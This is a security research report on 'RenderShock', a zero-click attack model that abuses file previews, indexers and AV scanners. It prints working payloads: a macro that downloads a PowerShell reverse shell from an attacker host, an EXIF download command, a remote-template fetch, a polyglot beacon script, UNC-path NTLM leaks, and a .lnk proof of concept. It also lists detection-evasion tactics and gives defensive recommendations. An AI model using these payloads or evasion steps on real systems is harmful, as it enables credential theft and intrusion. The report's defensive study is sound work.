RENDERSHOCK: WEAPONIZING TRUST IN FILE RENDERING PIPELINES

Published On : 2025-07-10

EXECUTIVE SUMMARY

RenderShock is a comprehensive zero-click attack strategy that targets passive file preview, indexing, and automation behaviours in modern operating systems and enterprise environments. It leverages built-in trust mechanisms and background processing in file systems, email clients, antivirus tools, and graphical user interfaces to deliver payloads without requiring any user interaction.

Unlike traditional phishing or malware campaigns requiring a user’s active participation, RenderShock uses standard system behaviours and trusted automation features to perform malicious actions ranging from reconnaissance and data exfiltration to credential theft and remote code execution. By embedding malicious logic in metadata, preview triggers, and document formats, RenderShock capitalizes on system convenience as an unguarded attack vector.

This report provides an in-depth exploration of the RenderShock framework, its attack methodology, real-world style payload examples, payload delivery mechanisms, and impact potential. It includes advanced engineering techniques such as reverse shells, metadata poisoning, and multi-stage payloads, all executed silently within trusted process contexts. It concludes with a comprehensive set of defense strategies broken down into strategic, tactical, and operational layers.

What makes RenderShock uniquely dangerous is not simply the reuse of known payload formats, but its orchestration of passive execution chains that transform familiar primitives into unmonitored, zero-click attack surfaces. By chaining legitimate automation features with novel file behaviours, RenderShock elevates these tactics to a near-zero-day capability, requiring no social engineering or explicit execution to achieve compromise.

INTRODUCTION

As enterprise networks and endpoint systems continue to evolve, so do the conveniences designed to improve productivity. Modern operating systems, collaboration platforms, and enterprise tools are built with features that allow users to preview files, auto-tag content, sync documents, and classify data without opening files explicitly.

However, these features also create a passive attack surface that remains largely unmonitored. These systems operate under the assumption that previewing or indexing a file is safe, yet attackers can exploit these assumptions using techniques that require zero user interaction. This paradigm shift in adversarial capability is the foundation of RenderShock.

RenderShock is not a single exploit or payload. It is a modular attack model that leverages system behaviours for stealth, persistence, and capability escalation. It also integrates GUI-based attack methods like those previously explored in creative red team payloads. The goal is simple: gain access, exfiltrate data, or establish persistence, all without the user clicking anything.

PASSIVE EXECUTION SURFACES

The success of RenderShock hinges on a series of passive execution processes that automatically engage with file content without explicit user action. Understanding how these surfaces operate is key to both exploiting and defending against this class of threat. Modern enterprise systems are built for convenience, automatically previewing, indexing, synchronizing, and rendering files across endpoints, cloud platforms, and productivity suites. These systems often process files without explicit user action, trusting that the rendering process is safe. RenderShock exploits these passive execution surfaces: trusted components that parse untrusted files silently in the background. This section outlines the system features and services most susceptible to passive payload activation, including document preview handlers, metadata processors, sync clients, and content indexers.

File Preview Subsystems
Operating systems provide preview panes that automatically render content when files are selected or hovered over in a file manager. These renderers process the content of a file in memory, often invoking registered preview handlers.

• Windows Explorer Preview Pane: Processes DOCX, XLSX, PDF, RTF, images, and media files. Even without opening the file, selecting it can trigger preview parsing.
• macOS Quick Look: Offers instant file previews using internal rendering engines. Previewing even occurs silently when using Finder or Spotlight search.
• Office Preview in Windows: If a user hovers over or previews an Office document in Outlook or File Explorer, embedded content (including macros, ActiveX controls, or remote templates) may be invoked depending on system configuration.

Email Clients and Webmail Renderers
Email preview panes can load attachments or inline content in a read-only format. Misconfigured systems may still execute embedded scripts, render ActiveX objects, or fetch remote media.

• Outlook: Renders RTF, HTML, and DOC attachments. Historically exploited via CVE-2023-23397 to leak NTLM hashes.
• Thunderbird / Apple Mail: Capable of rendering embedded remote content or attachments without the user opening them.

Metadata Indexers and Content Parsers
File indexing services scan, extract, and catalog metadata and document contents in the background. These systems can invoke preview handlers and MIME-specific parsing logic.

• Windows Search Indexer: Uses the SearchProtocolHost and SearchFilterHost processes to parse files and extract search-indexable content.
• macOS Spotlight: Generates previews and extracts metadata from files to power search, tags, and smart folders.

Antivirus, DLP, and Security Scanning Engines
AV and DLP products unpack files to scan their contents. They process document metadata, image headers, and scripts to find threats.

• RenderShock exploits AV scanning logic by inserting payloads in formats that are executed or interpreted by AV emulators.
• Payloads in embedded file formats (e.g., .lnk, .hta, macro-enabled Office docs) may execute during deep file scanning.

Cloud Sync Tools and Network File Shares

• OneDrive, Dropbox, and Google Drive automatically download and index shared files. These downloads may trigger file renderers, AV scans, and metadata extraction.
• Files dropped into shared drives may be parsed by connected endpoints passively.

GUI-Based Trust Abuses
RenderShock also targets graphical components that auto-resolve file paths, load icons, or read localized configurations:

• .LNK files: Load icons from UNC paths. When a user browses to a folder with a malicious .lnk, Windows contacts the icon path, possibly leaking credentials.
• desktop.ini abuse: Loads custom folder icons from remote DLLs.
• SVG files: May contain embedded JavaScript, triggering parsing errors or active content when rendered.
• RTF files: Can contain malicious fields (INCLUDEPICTURE, clipboard injections) that execute during preview.
• EXIF metadata: Image metadata can contain command snippets or crash-prone fields.

ATTACK METHODOLOGY

RenderShock is a structured attack framework, designed for stealth and modularity. The methodology includes five key stages:

Stage 1 – Payload Design

RenderShock operates on the principle that many file formats, when processed passively by indexing services, preview panes, or security engines, can trigger code execution or network callbacks without requiring user interaction. To exploit this, payloads must be designed not to be clicked or executed manually, but to execute silently when the system attempts to parse, preview, or inspect them.

To accommodate both widely observed misconfigurations and novel exploitation paths, payloads are categorized into two tiers: foundational formats (well-understood but under-defended) and advanced formats (novel, stealthy, or unconventional).

A. Foundational Payloads (Known, Low-Interaction Primitives)

These formats and payload types have been observed in the wild or during red team operations but remain effective due to weak policy enforcement or lack of visibility during passive file processing.

PDFs with External References: Embedding external images or fonts triggers outbound connections, which can be used for beaconing or NTLM leaks when processed by preview handlers.

DOCX/XLSM with Macros or Remote Templates: Misconfigured Office installations may preview files in Outlook or Explorer and resolve remote templates or auto-open macros during preview.

LNK Files with UNC Icon Paths: Selecting a folder with a malicious .lnk causes Windows Explorer to load the icon from a network path, triggering NTLM authentication without opening the shortcut.

RTF with Field Code Abuse: RTFs can contain INCLUDEPICTURE, clipboard field injections, or OLE links that silently fetch remote resources during preview.
Images with EXIF Metadata Injection: JPEG or PNG files can embed long strings or command payloads in EXIF tags that crash or confuse parsers, triggering logic bugs in indexing or scanning engines.

ZIP/ISO with Malicious Shortcuts: Bundling .lnk, .desktop, or macro-enabled Office documents inside ISO containers bypasses some attachment scanners and triggers payloads during automated unpacking or thumbnail rendering.

Note: This payload format spans both foundational and advanced tiers depending on how it’s packaged. A simple .lnk inside a ZIP is low complexity, but paired with ADS streams or ISO bypass logic, it escalates into a stealthier, more advanced threat.

These payloads rely on well-known behaviours but can still achieve significant impact when chained into passive execution workflows.

B. Advanced Payloads (Creative, Zero-Click Triggers)

RenderShock also introduces non-traditional and minimally documented payload techniques designed to simulate a zero-day adversarial mindset. These payloads extend beyond standard tactics and often exploit edge-case behaviours in preview engines, indexing daemons, or file processing components.

Polyglot File Formats: Crafting files that are valid under multiple parsers (e.g., PNG + HTML, DOCX + ZIP) causes different engines to interpret them in unintended ways. This bypasses MIME filtering and confuses scanners while preserving malicious logic.

Remote Template Injection Without Macros: Microsoft WordprocessingML files can define a Target attribute pointing to an external .dotx or OLE object. This reference may be resolved during preview, triggering code download or authentication beacons without requiring macros.

TTF/WOFF Font File Abuse: Custom font files loaded by PDF or DOCX preview engines can exploit bugs in font parsers. This method has been historically underused but offers a silent path to memory corruption or logic errors.

CHM or .library-ms Payloads: Compiled HTML Help (.chm) or library shortcut files can execute or trigger NTLM authentication when hovered over or indexed. These formats may be rendered by Explorer or Office preview handlers in some contexts.

Poisoned ICC Color Profiles: Embedding malformed or oversized ICC profiles in image files can crash or exploit Quick Look (macOS), Windows Photo Viewer, or indexing engines that process color space metadata.

Alternate Data Streams / Resource Fork Abuse: On NTFS or macOS systems, side-loaded metadata such as ADS (Windows) or .AppleDouble resource forks (macOS) can contain scripts or loader stubs that are parsed or rendered during thumbnailing or sync.

Container-Based Bypass Payloads: ISO/VHD files that contain desktop.ini, autorun.inf, and obfuscated .lnk or executable payloads can bypass Mark-of-the-Web protections and execute when auto-mounted or indexed.

Office Add-Ins and ActionPane Injection: DOCM or XLSM files can include embedded COM add-ins or ActionPane controls that are executed during preview in vulnerable Office configurations, even without opening the file directly.

Stage 2 – Delivery Mechanisms

Delivery does not rely on user interaction. Files are placed where systems will process them automatically.

Helpdesk uploads: Files submitted through support portals are previewed by agents or ticketing systems.

Email attachments to shared mailboxes: AV or preview engines process attachments upon receipt.

USB drops: Plug-and-preview scenarios where users browse the USB contents.

Internal file shares: Placing a file in a shared directory that is indexed or browsed by target systems.

RenderShock also extends delivery through integrations with cloud collaboration platforms and SaaS applications. For example, attachments uploaded to document approval workflows in Google Workspace, Microsoft 365, or popular helpdesk systems (such as Zendesk and Freshdesk) are often passively rendered by API services or preview engines. Additionally, public document repositories that generate search engine thumbnails can inadvertently trigger remote resource resolution during crawling, creating opportunities for stealth recon beacons without direct targeting.

Stage 3 – Trigger Activation

The attack executes once the system interacts with the file:

• Selecting a file in Explorer causes the preview pane to trigger.
• Antivirus scans activate parsing engines.
• Email clients attempt to generate a preview.
• Indexing services extract metadata or render thumbnails.
• macOS Quick Look automatically renders thumbnails.

Stage 4 – Payload Effects

Different payloads achieve different outcomes:
Passive Reconnaissance:

• Beacons sent via DNS or HTTP from a document preview.
• NTLM authentication attempts sent to attacker-controlled SMB shares.
• Hostname, username, IP, domain, and OS fingerprinting.

Credential Theft:

• Harvest NTLMv2 hashes using UNC paths embedded in documents or shortcuts.

Remote Code Execution:

• Triggered via Office macros, .lnk scripts, ActiveX objects, or buffer overflows in preview components.

Denial of Service:

• Crashing Spotlight or SearchIndexer via malformed EXIF or broken file structures.

Persistence:

• Placing .desktop files or LaunchAgents in trusted autostart directories.

Stage 5 – Lateral Movement / Post-Exploitation

After initial access:

• Use harvested credentials for pivoting.
• Drop implants via trusted internal portals.
• Target indexers and shared systems to repeat the attack across machines.

RENDERSHOCK ATTACK KILL CHAIN

The RenderShock attack model follows a modified cyber kill chain that reflects passive execution and system-triggered compromise, not user-driven interaction. Below is the step-by-step flow:

Reconnaissance

• Identify exposed file ingestion points (support inboxes, HR forms, helpdesk portals, shared folders).
• Enumerate acceptable file types and security stack behaviours (AV vendors, preview software, indexing policies).

Weaponization

• Craft a malicious document/image/shortcut that will trigger passive parsing or preview.
• Embed triggers such as:
  • UNC paths to attacker SMB share (for NTLM leak)
  • Macros that trigger via the preview pane
  • Malformed EXIF or metadata (for AV, Quick Look, or Spotlight crash/execution)

Delivery

• Upload file to:
  • Shared cloud drives (OneDrive, Dropbox)
  • Public ticketing systems (e.g., Zendesk)
  • Shared mailboxes (e.g., HR@, invoices@)
  • Physical USB drop (e.g., in lobby or trade show)

Exploitation (Passive Trigger)

• The victim’s system previews/indexes/scans the file without interaction.
• Trigger occurs:
  • File preview activates macro or PowerShell
  • SMB request leaks NTLM hash
  • AV scans poisoned EXIF and crashes or executes code

Installation

• Reverse shell payload downloaded via preview macro.
• Persistence setup via:
  • .desktop or .lnk in the autostart folder
  • LaunchAgent config or scheduled task

Command & Control

• Beacon via HTTP, DNS, or PowerShell to remote C2
• Use of legitimate services (e.g., Dropbox API, GitHub) to blend traffic

Actions on Objectives

• Relay captured credentials to lateral systems
• Enumerate domain/network assets
• Exfiltrate metadata, local docs, and clipboard contents
• Optional: destroy preview/index services to hinder detection

EXAMPLE PAYLOAD CHAINS

PDF SMB Beacon (Recon/NTLM Leak)
from fpdf import FPDF
pdf = FPDF()
pdf.add_page()
pdf.image(“\\\\attacker\image.jpg”, x=10, y=8)
pdf.output(“recon.pdf”)
Listener (Responder):
sudo responder -I eth0 -wrf

Excel Macro Reverse Shell
Private Sub Workbook_Open()
Shell “powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString(‘http://attacker/shell’)”, vbHide
End Sub

LNK Payload to Trigger PowerShell
Target:
cmd.exe /c powershell -nop -w hidden -e [Base64Payload]

desktop.ini Icon DLL Trigger
[.ShellClassInfo]
IconResource=\\attacker\icons\malicious.dll,0

JPEG Metadata Poisoning
Use exiftool to inject a command:
exiftool -Comment=’powershell -nop -w hidden -c iex(iwr http://attacker/shell.ps1)’ image.jpg

Advanced Example Payloads (Creative and Zero-Click Oriented)
These examples demonstrate advanced payload strategies aligned with RenderShock’s zero-click philosophy. They go beyond traditional formats to introduce stealthy, compound, or less-documented exploitation techniques.

CHM File for Dual-Purpose Recon and NTLM Leak
Create a .chm file that includes a UNC-based reference inside embedded HTML. When the system indexes or previews the CHM, the SMB resource is requested automatically.

Payload Concept:

• Embed the following in the CHM file’s HTML body: <a href=”\\attacker\share\file.html”>Click here</a>

Effect:

• Windows Explorer or helpdesk preview systems may render the CHM.
• This causes a background SMB connection, leaking NTLMv2 hashes to the attacker.

Use Case:

• Upload to environments that preview .chm files (e.g., ticketing portals).
• No user interaction required.

Remote Template Injection in Office Files (No Macro)
Use WordprocessingML inside a .docx file to specify an external template. In some configurations, this is fetched during document preview, even if macros are disabled.

XML Snippet (inside word/_rels/settings.xml.rels):
<Relationship Id=”rId1″ Type=”http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate” Target=”http://attacker[.]com/malicious.dotx”/>

Effect:

• During preview in Outlook or File Explorer, Office may attempt to fetch malicious.dotx.
• This can exfiltrate network metadata or trigger a malicious template payload.

Use Case:

• Bypasses macro-blocking.
• Ideal for environments that allow template loading from external sources.

Polyglot PNG + HTML Beacon
Craft a file that is both a valid PNG image and an HTML file. Some indexing engines or crawlers may interpret the HTML portion, triggering script execution.

Construction:
cat clean.png > beacon.png
echo ‘<script>fetch(“http://attacker/recon?host=”+location.hostname)</script>’ >> beacon.png

Effect:

• When viewed as an image, it renders normally.
• When misinterpreted as HTML (e.g., by a search crawler or DLP engine), it triggers a JavaScript callback.

Use Case:

• Works well when uploaded to public-facing portals, cloud drives, or SaaS forms that auto-index content.

RenderShock Proof-of-Concept — Passive NTLM Hash Exfiltration via .lnk in ZIP

This PoC demonstrates a creative abuse of Windows’ file rendering behaviour to trigger outbound authentication without opening the file. A specially crafted .lnk file, when embedded in a .zip archive and previewed in Windows Explorer, causes the system to silently attempt to retrieve a remote icon over SMB. This interaction is system-driven, not user-driven.

1. Attacker Setup
System: Kali Linux (or any Linux host)

Tool Used: Responder — a rogue SMB server used to intercept NTLM authentication attempts.

Run the following command to begin listening:

Responder will now monitor for SMB authentication requests over port 445.

2. Payload Creation — .lnk File with Remote Icon
On the Windows target (or simulated victim):

1. Right-click the Desktop → New > Shortcut

When prompted for the location or any legitimate local binary, enter:

2. Name the shortcut something benign (e.g., Q3-Financials.lnk)

3. Right-click the shortcut → Properties

4. Click Change Icon… (See figure 4)

5. In the icon field, insert: Example: \\<KALI_IP>\icon.ico

7. Press OK → Apply → Close
At this point, Windows attempts to load the icon and will silently initiate an SMB connection to the attacker.

3. Delivery Method: Embedding in a .zip Archive
After the .lnk file is crafted:

1. Right-click the .lnk → Send to > Compressed (zipped) folder

2. Optionally, rename the archive to something benign like:

This ZIP is now the delivery vector.

4. Execution Trigger: ZIP Preview in Explorer

When the target user:

• Opens the .zip file using Windows File Explorer
• Or has Preview Pane enabled (Alt+P)

• Once the .lnk file inside the archive is selected or highlighted, the system attempts to render the icon, resolving the remote UNC path. This happens even if the file is never opened or executed.

In real-world phishing or lateral movement, this is often the first stage — where curiosity or accidental preview initiates the leak.

4. Attacker Outcome
If the network connection is successful and outbound SMB is allowed, Responder logs the authentication attempt:

This is a valid NTLMv2 challenge-response hash, which can be cracked offline using hashcat or relayed for pass-the-hash lateral movement.

This occurs without code execution, without an alert, and without the user double-clicking the shortcut.

Defender Recommendations

• Block outbound SMB (port 445) to untrusted networks
• Strip .lnk files in ZIPs received via email
• Monitor NTLM authentication attempts to non-domain IPs
• Audit Windows Preview Pane behaviour in sensitive environments

Real-World Considerations

• In some systems, icon resolution from within the ZIP preview may be cached or blocked by policy
• To ensure testing consistency, reset the .lnk file, alter the filename, or use a clean VM snapshot
• This technique aligns with historical attacks (e.g., APTs embedding .lnk in ZIPs to steal hashes)

IMPACT ASSESSMENT

RenderShock introduces a broad range of potential consequences depending on the attacker’s objective and payload sophistication.

Reconnaissance and Intelligence Gathering

• User and Host Enumeration: Passive beacons collect usernames, hostnames, and domain names from SMB authentication attempts.
• Operating System Fingerprinting: Preview engines and indexing tools often add headers or behaviours that can be fingerprinted to determine the OS version.
• Network Mapping: DNS requests or SMB callbacks can reveal internal network structure, such as naming conventions, subnets, or gateways.

Credential Theft and Relay

• NTLMv2 Harvesting: Triggering SMB callbacks from previewed content (PDF, LNK, DOCX) allows attackers to capture NTLMv2 challenge-responses, which can be cracked or relayed.
• Hash Relay Attacks: Tools like NTLMRelayX can be used to forward NTLM authentication to other internal services, potentially gaining access without cracking.

Remote Code Execution (RCE)

• Preview-based Macro Execution: In misconfigured environments, Office documents with embedded macros may be executed when previewed, providing RCE.
• LNK + PowerShell: Malicious LNKs can trigger encoded PowerShell reverse shells.
• desktop.ini DLL Loading: Remotely hosted DLLs may be loaded when directories are browsed in Explorer.

Beyond macros and shortcut execution, RenderShock also leverages no-macro techniques such as remote template injection in Office preview. By specifying an external DOTX or OLE object in WordprocessingML, an attacker can silently load remote content during preview rendering. This method avoids traditional macro-based detections and can achieve code execution or authentication beacons if Office preview is configured insecurely.

System Disruption and Denial-of-Service

• Indexing Engine Crashes: Malformed files or poisoned metadata can crash Spotlight or Windows Search.
• Memory Exhaustion: Recursive archives or large malformed EXIF fields can cause RAM exhaustion during scanning or previewing.

Persistence and Lateral Movement

Configuration-Based Persistence: Placing .desktop, LaunchAgent, or autorun.inf files in startup paths.

Scheduled Recon via Shared Folders: Malicious files in shared folders can be auto-indexed periodically, enabling long-term beaconing.

Detection Evasion Strategies

RenderShock is designed to operate under the radar. Here’s how it evades detection across various security layers:

Evasion at the Network Layer

• SMB beaconing over TCP 445 is used, which may blend in with allowed internal traffic.
• The use of covert DNS tunneling or short TTL records for recon beacons (e.g., hostname.domain.attacker[.]com).
• Time-based beacons (e.g., fire only between 2–4 AM) to avoid triggering real-time alerts.

File Format Obfuscation

• Polyglot files (e.g., PDF + ZIP) are leveraged to confuse scanners.
• Encodes payloads in EXIF metadata or Office XML parts.
• Breaks up malicious macro strings using Chr() or Base64 + split() in VBA.

Signature Avoidance in Static Analysis

• Avoids traditional malware indicators (e.g., known IPs/domains, calc.exe, cmd.exe references).
• Renames functions, randomizes macro variables, and avoids common sandbox tripwires (like short loops).
• Uses benign-looking document templates, including copied logos and legitimate fonts.

Behaviour Evasion Against AV/EDR

• Embeds payloads in file parts rarely scanned (e.g., Comments, DocumentProperties, EXIF MakerNotes).
• Triggers via unmonitored process paths (e.g., explorer.exe SMB call, searchindexer.exe crash).
• Stagger payload execution with delayed PowerShell (Start-Sleep) or a scheduled reverse shell.

Sandbox and Preview Bypass

• Inserts logic to check for sandbox (e.g., low disk space, short uptime).
• Uses environment-aware payloads:
• Don’t execute unless hostname ≠ sandbox, user ≠ admin, etc.
• Trigger beacon only if the domain name resembles the target org.

Operational Hygiene

• Uses TLS for reverse shell downloads, and pin certs or validate C2 fingerprint.
• Rotates beacon domains and C2 every 48h using DGA or DDNS.
• Prestages payloads on cloud storage (e.g., private GitHub repo or S3 bucket).

DETECTION AND MONITORING CONSIDERATIONS

RenderShock is designed for stealth. However, defenders can still identify behavioural anomalies with focused monitoring.

Process Monitoring

• Watch for unusual activity from explorer.exe, winword.exe, or searchindexer.exe, especially accessing UNC paths.
• Use Sysmon to log process creation and network access from the GUI or indexing components.

Network Monitoring

• Identify SMB, DNS, or HTTP requests to unknown domains or external IPs, especially those that originate from file previewing processes.
• Correlate these outbound requests with recent file events (e.g., received email, synced document).

File Content Analysis

• Scan documents for references to external URLs, UNC paths, or embedded scripting.
• Flag files with hidden macros, excessive EXIF metadata, or obscure MIME structures.

Endpoint Detection and Response (EDR)

• Tune EDR rules to alert on:
• Explorer spawning network requests
• Office apps accessing external resources on file open or preview
• Execution of PowerShell, cmd, or mshta triggered by GUI processes
• Monitor cross-process network calls: Investigate SMB requests, HTTP connections, or DNS queries originating from preview-related processes (e.g., explorer.exe, searchfilterhost.exe, quicklookd) rather than typical browser or email clients.

Honeyfile and Canary Usage

• Deploy decoy documents or LNK files with embedded beacon URLs in network shares.
• Monitor beacon callbacks to detect scanning and preview behaviour by compromised systems.

This layered degradation in detection is summarized in Figure 3: Detection Visibility Stack, which illustrates how attacker visibility decreases as file triggers shift from user-level interaction to system-level parsing.

REAL-WORLD TIE-INS AND PRECEDENTS

RenderShock is built on a foundation of real-world attacker behaviours and exploits that validate the feasibility and risk of zero-click passive payloads. While the RenderShock framework generalizes and extends these techniques, several APT campaigns and red team engagements have demonstrated components of this methodology in practice:

Threat Actor / Event	Technique Used	Alignment with RenderShock
APT28 (Forest Blizzard)	Used Outlook calendar reminders with UNC paths (CVE-2023-23397) to leak NTLM hashes without user clicks.	Confirms the feasibility of UNC-based NTLM leaks from passive document rendering.
APT groups (undisclosed)	Used .library-ms files in ZIPs to trigger NTLM beacons upon preview in Explorer (CVE-2025-24054).	Validates RenderShock’s LNK/shortcut SMB beacon strategy.
Ukraine-targeted phishing (CVE-2024-43451)	.url files triggered credential leakage by simply being previewed or hovered.	Demonstrates that passive preview can cause forced authentication.
Darktrace red team observations	.scf files on network shares triggered NTLM beacons via icon load in Explorer.	Confirms RenderShock’s desktop.ini and .lnk logic.
Check Point/Triskele (CVE-2025-30386)	Office Preview Pane exploit led to RCE without opening the document.	Mirrors RenderShock’s use of Office preview-based execution.
macOS Quick Look exploits (CVE-2024-44236)	Crafted images with ICC/EXIF triggered preview crashes or code execution.	Validates the concept of metadata poisoning and image-triggered payloads.
AV engine abuse (CVE-2017-8541)	Malware executed during AV scan (without file open).	Reinforces RenderShock’s use of AV/DLP scanning as a trigger vector.

MITRE FRAMEWORK

Tactic	ID	Technique
Initial Access	T1203	Exploitation for Client Execution (via passive rendering of malicious files)
Execution	T1059.001	Command and Scripting Interpreter: PowerShell
Execution	T1204.002	User Execution: Malicious File (triggered by preview, not click)
Credential Access	T1187	Forced Authentication (via UNC path in previewed documents or LNKs)
Credential Access	T1557.001	Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
Discovery	T1016	System Network Configuration Discovery (via passive beaconing)
Discovery	T1082	System Information Discovery (host/user recon from preview interactions)
Persistence	T1547.009	Shortcut Modification (.LNK or desktop.ini for auto-execution)
Persistence	T1037.001	Boot or Logon Initialization Scripts: Logon Script (e.g., LaunchAgents)
Lateral Movement	T1021.002	Remote Services: SMB/Windows Admin Shares (via harvested credentials)
Collection	T1005	Data from Local System (metadata harvesting or clipboard injection)
Command and control	T1055.013	Process Injection: PowerShell (for reverse shell delivery)
Command and control	T1071.001	Application Layer Protocol: Web (HTTP/S beaconing and reverse shell transport)
Impact	T1499.004	Endpoint Denial of Service: Application or Service Crash (preview crash)

RECOMMENDATIONS

RenderShock is effective because it uses system features as they were designed to be used. Preventing these attacks requires changes in configuration, behaviour monitoring, and architectural controls.

Strategic Recommendations

• Redefine Trust Boundaries: Treat internal previews, syncs, and indexing as potential execution surfaces, not just productivity features.
• Secure File Handling Infrastructure: Build preview and file processing pipelines that are sandboxed, segmented, and monitored.
• Embed Passive Attack Simulation: Integrate RenderShock techniques into regular red team testing and tabletop exercises.

Architecturally, RenderShock demonstrates that preview and indexing engines should be treated as code interpreters rather than simple renderers. All document processing should occur in hardened, sandboxed microservices isolated from the user context and with no outbound network access. By decoupling preview generation from endpoint privileges, organizations can significantly reduce the risk of zero-click compromise chains.

Tactical Recommendations

• Disable Preview Features:
  • Disable Preview Pane in Windows Explorer via Group Policy.
  • Disable Quick Look previewing or restrict third-party plugins on macOS.
• Restrict Outbound Traffic:
  • Block SMB (TCP 445) egress except for authorized services.
  • Enforce DNS egress through internal resolvers with alerting on high-entropy queries.
• Harden Office and Viewer Configurations:
  • Enforce macro blocking via GPO or M365.
  • Disable automatic loading of remote templates in Office.
• File Upload Controls:
  • Sanitize all uploaded content through CDR or sandbox analysis before preview.
  • Strip metadata and embedded links in PDF, DOCX, and image files.

Operational Recommendations

• Behavioural Monitoring:
  • Set alerts for preview-related processes that make network calls.
  • Flag repeated preview or indexing-related crashes.
• Proactive Defense with Deception:
  • Deploy fake LNKs and desktop.ini files that connect to canary domains.
  • Use fake shares or files that simulate a beacon to detect exploration.
• SOC Training and Playbooks:
  • Train analysts on non-click-based compromise scenarios.
  • Update incident response workflows to include passive triggers.

CONCLUSION

RenderShock reframes how we view file-based attacks not as the result of code exploits, but as a consequence of trusted system behaviour. It proves that modern computing environments, to be helpful, often expose silent execution paths that require no interaction. By abusing file previewers, content indexers, sync tools, and GUI behaviours, attackers can gain deep visibility into a target environment and potentially compromise it all by delivering a file that never gets opened.

Its power lies in turning benign automation — previewing, syncing, and rendering into the start of a kill chain, all while staying invisible to most detection tools. That’s what makes it so dangerous and so difficult to detect.

Organizations must assume that any file entering their ecosystem can trigger a chain of actions before it is opened. Defenders must audit how files are parsed, logged, rendered, and previewed, and implement controls that treat passive processing with the same scrutiny as executable content.

By addressing these often-overlooked gaps, enterprises can begin to close the door on zero-click automation abuse.